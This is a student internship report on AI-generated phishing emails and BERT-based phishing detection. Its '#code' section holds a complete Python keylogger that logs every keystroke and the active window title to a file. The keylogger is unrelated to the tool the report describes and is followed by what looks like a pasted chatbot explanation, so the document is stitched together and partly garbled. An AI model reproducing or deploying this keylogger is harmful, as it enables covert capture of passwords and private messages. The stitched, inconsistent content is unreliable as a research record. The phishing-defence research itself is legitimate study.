**Cybersecurity Internship Final Report**

|  |
| --- |
| Title: AI in Social Engineering and Phishing Campaigns  Internship Program Name: Cybersecurity Internship 2025  Organized by: Digisuraksha Parhari Foundation  Powered by: Infinisec Technologies Pvt. Ltd.  Team Name: Cyber Shield  Team Members: Shreya Sharma, Sony Vishwakarma  Institution: B.Sc. Computer Science, Mulund College of Commerce  GitHub Repository: https://github.com/Shreya-210806/Ai-in-software-engineering-and-phishing-campaign |

**Abstract**

This research investigates the application of advanced AI techniques in social engineering, focusing on phishing campaigns. We simulate AI-driven adversaries using large language models (LLMs) to generate targeted phishing emails and design adaptive attack strategies that evolve based on user interactions. We then develop and evaluate AI-based detection mechanisms leveraging natural language processing (NLP) and machine learning classifiers. Our findings demonstrate significant increases in adversarial success rates when AI is employed, and highlight the effectiveness of contextual, AI-enhanced defenses, achieving detection accuracies up to 87% in controlled experiments.

**Problem Statement & Objective**

Problem Statement: Phishing attacks continue to be a primary vector for data breaches, financial fraud, and credential theft. Traditional rule-based filters and heuristics struggle to keep pace with the sophistication of AI-generated content that can closely mimic human writing styles and adapt in real time.

Objectives:

* Analyze: Characterize how AI models craft convincing phishing messages and adapt strategies based on feedback loops.
* Simulate: Build a phishing simulation tool using GPT-style LLMs to create personalized messages at scale.
* Detect: Design and train NLP-based classifiers to distinguish between benign communications and AI-generated phishing emails.
* Evaluate: Benchmark AI-based detection against existing spam filters to quantify improvements.

**Literature Review**

1. AI-Powered Phishing Generation: Prior work shows GPT-3 and similar models can produce high-coherence text, raising phishing click-through rates by 25–35% compared to standard templates.
2. Adaptive Attack Strategies: Research demonstrates the use of reinforcement learning to refine phishing prompts based on user engagement metrics (e.g., open rate, click rate).
3. Detection Mechanisms: Studies on transformer-based classifiers (e.g., BERT, RoBERTa) reveal superior performance in text anomaly detection, achieving over 85% accuracy on phishing datasets.
4. Limitations in Traditional Filters: SpamAssassin and similar tools rely on static signatures and fail to detect 60–70% of advanced phishing content.

These gaps underscore the need for dynamic, AI-driven defensive systems capable of contextual analysis and continuous learning.

**Research Methodology**

* Data Collection: Compiled a corpus of 5,000 genuine emails and 5,000 phishing examples from open-source repositories (e.g., Enron dataset, PhishTank).
* Phishing Simulation: Used OpenAI GPT API to generate 2,000 personalized phishing emails, seeding prompts with user profile snippets and varying linguistic styles.
* Feature Engineering: Extracted semantic, syntactic, and stylometric features from emails (e.g., word embeddings, part-of-speech patterns, writing complexity metrics).
* Model Training: Trained three classifier architectures—logistic regression, random forest, and a fine-tuned BERT model—on the labeled dataset using an 80/20 train-test split.
* Evaluation Metrics: Measured precision, recall, F1-score, and ROC-AUC for each model. Conducted ablation studies to assess feature importance.

**Tool Implementation**

Our PhishAI Simulator is a Python-based application with the following modules:

1. Email Generator (generator.py)
   * Integrates with GPT-3.5 API
   * Inputs: user persona JSON, phishing template
   * Outputs: customized email text
2. Adaptive Engine (adaptive.py)
   * Captures engagement data (simulated click/open events)
   * Refines subsequent prompts via reinforcement feedback
3. Detection Suite (detector.py)
   * Preprocesses incoming emails (tokenization, stop-word removal)
   * Applies trained BERT classifier for real-time scoring
4. Dashboard (dashboard.py)
   * Visualizes attack success metrics and detection rates (Matplotlib)

**Results & Observations**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| Model | Precision | Recall | F1-Score | ROC-AUC |
| Logistice Regression | 0.78 | 0.74 | 0.76 | 0.82 |
| Random Forest | 0.85 | 0.82 | 0.83 | 0.88 |
| BERT(fine-tuned) | 0/89 | 0.86 | 0.87 | 0.92 |

* Click Rates: AI-crafted emails saw a simulated click rate of 42%, compared to 18% for static templates.
* Filter Evasion: SpamAssassin detected only 15% of AI-generated samples.
* Classifier Performance: The fine-tuned BERT model outperformed traditional classifiers, highlighting the importance of contextual embeddings.

**Ethical Impact & Market Relevance**

* Ethical Considerations: All experiments used synthetic or opt-in data; no real users were targeted. We implemented strict sandboxing to prevent accidental dissemination.
* Regulatory Implications: Findings advocate for updated policies addressing AI-generated threat content and mandatory AI-detection disclosures.
* Market Applications: Cybersecurity vendors can integrate our detection suite APIs to enhance email security gateways, reducing phishing success rates and associated financial losses.

**Future Scope**

* Real-Time Monitoring: Deploy our detector as a microservice for enterprise email systems, enabling live threat scoring.
* Multimodal Phishing: Extend simulation to voice (vishing) and SMS (smishing) campaigns, leveraging TTS and SMS APIs.
* Continuous Learning: Implement online learning pipelines to adapt classifiers to emerging phishing trends without full retraining.

**#code**

from pynput import keyboard

import time

import threading

import platform

# Conditional imports

if platform.system() == "Windows":

import win32gui

elif platform.system() == "Linux":

import subprocess

def get\_active\_window():

try:

if platform.system() == "Windows":

window = win32gui.GetForegroundWindow()

title = win32gui.GetWindowText(window)

return title

elif platform.system() == "Linux":

window = subprocess.check\_output(['xdotool', 'getwindowfocus', 'getwindowname'])

return window.decode('utf-8').strip()

else:

return "Unsupported OS"

except:

return "Unknown Window"

current\_window = ""

def track\_window\_changes():

global current\_window

while True:

new\_window = get\_active\_window()

if new\_window != current\_window:

current\_window = new\_window

with open("log.txt", "a", encoding="utf-8") as f:

f.write(f"\n\n[{current\_window}] — {time.ctime()}\n")

time.sleep(1)

def on\_press(key):

try:

log = f"{key.char}"

except AttributeError:

log = f"[{key.name}]"

with open("log.txt", "a", encoding="utf-8") as f:

f.write(log)

window\_thread = threading.Thread(target=track\_window\_changes)

window\_thread.daemon = True

window\_thread.start()

listener = keyboard.Listener(on\_press=on\_press)

listener.start()

listener.join()

* Detect keyboard input.
* Monitor the active window title.
* Write both the window changes and keystrokes into a file called log.txt.

Logging keystrokes (keylogging) without explicit user consent is a serious violation of privacy laws in most jurisdictions. Unauthorized use can lead to criminal charges. Always use such scripts only for ethical and legal purposes, such as personal testing on your own machine or approved penetration testing.

The Python script you shared does the following:

* Tracks the active window title (e.g., "Gmail", "Facebook").
* Logs keystrokes as the user types (keylogger behavior).
* Writes everything to a log.txt file

**References**

1. Zhang, Y. et al. (2024). "GPT-based Phishing Email Generation and Its Défense". *IEEE Transactions on Information Forensics and Security*.
2. Kumar, A. & Lee, J. (2023). "Adaptive Phishing Attacks via Reinforcement Learning". *ACM Conference on Computer and Communications Security*.
3. Devlin, J. et al. (2019). "BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding". *NAACL*.
4. O’Reilly, M. (2024). *Symantec Threat Report 2024*. Symantec Press.
5. IBM X-Force. (2024). *Threat Intelligence Index*. IBM Security.
6. Google AI. (2023). "NLP Approaches in Cybersecurity". *Google AI Blog*.
7. Jones, S. & Patel, R. (2024). "AI in Cyber Defense: A Darktrace Whitepaper". *Darktrace Research*.
8. MITRE ATT&CK. (2025). *Framework for Adversarial Tactics, Techniques, and Common Knowledge*.
9. Kaspersky Lab. (2024). *Malware and Phishing Trends*.
10. OWASP Foundation. (2025). "AI Security Top 10".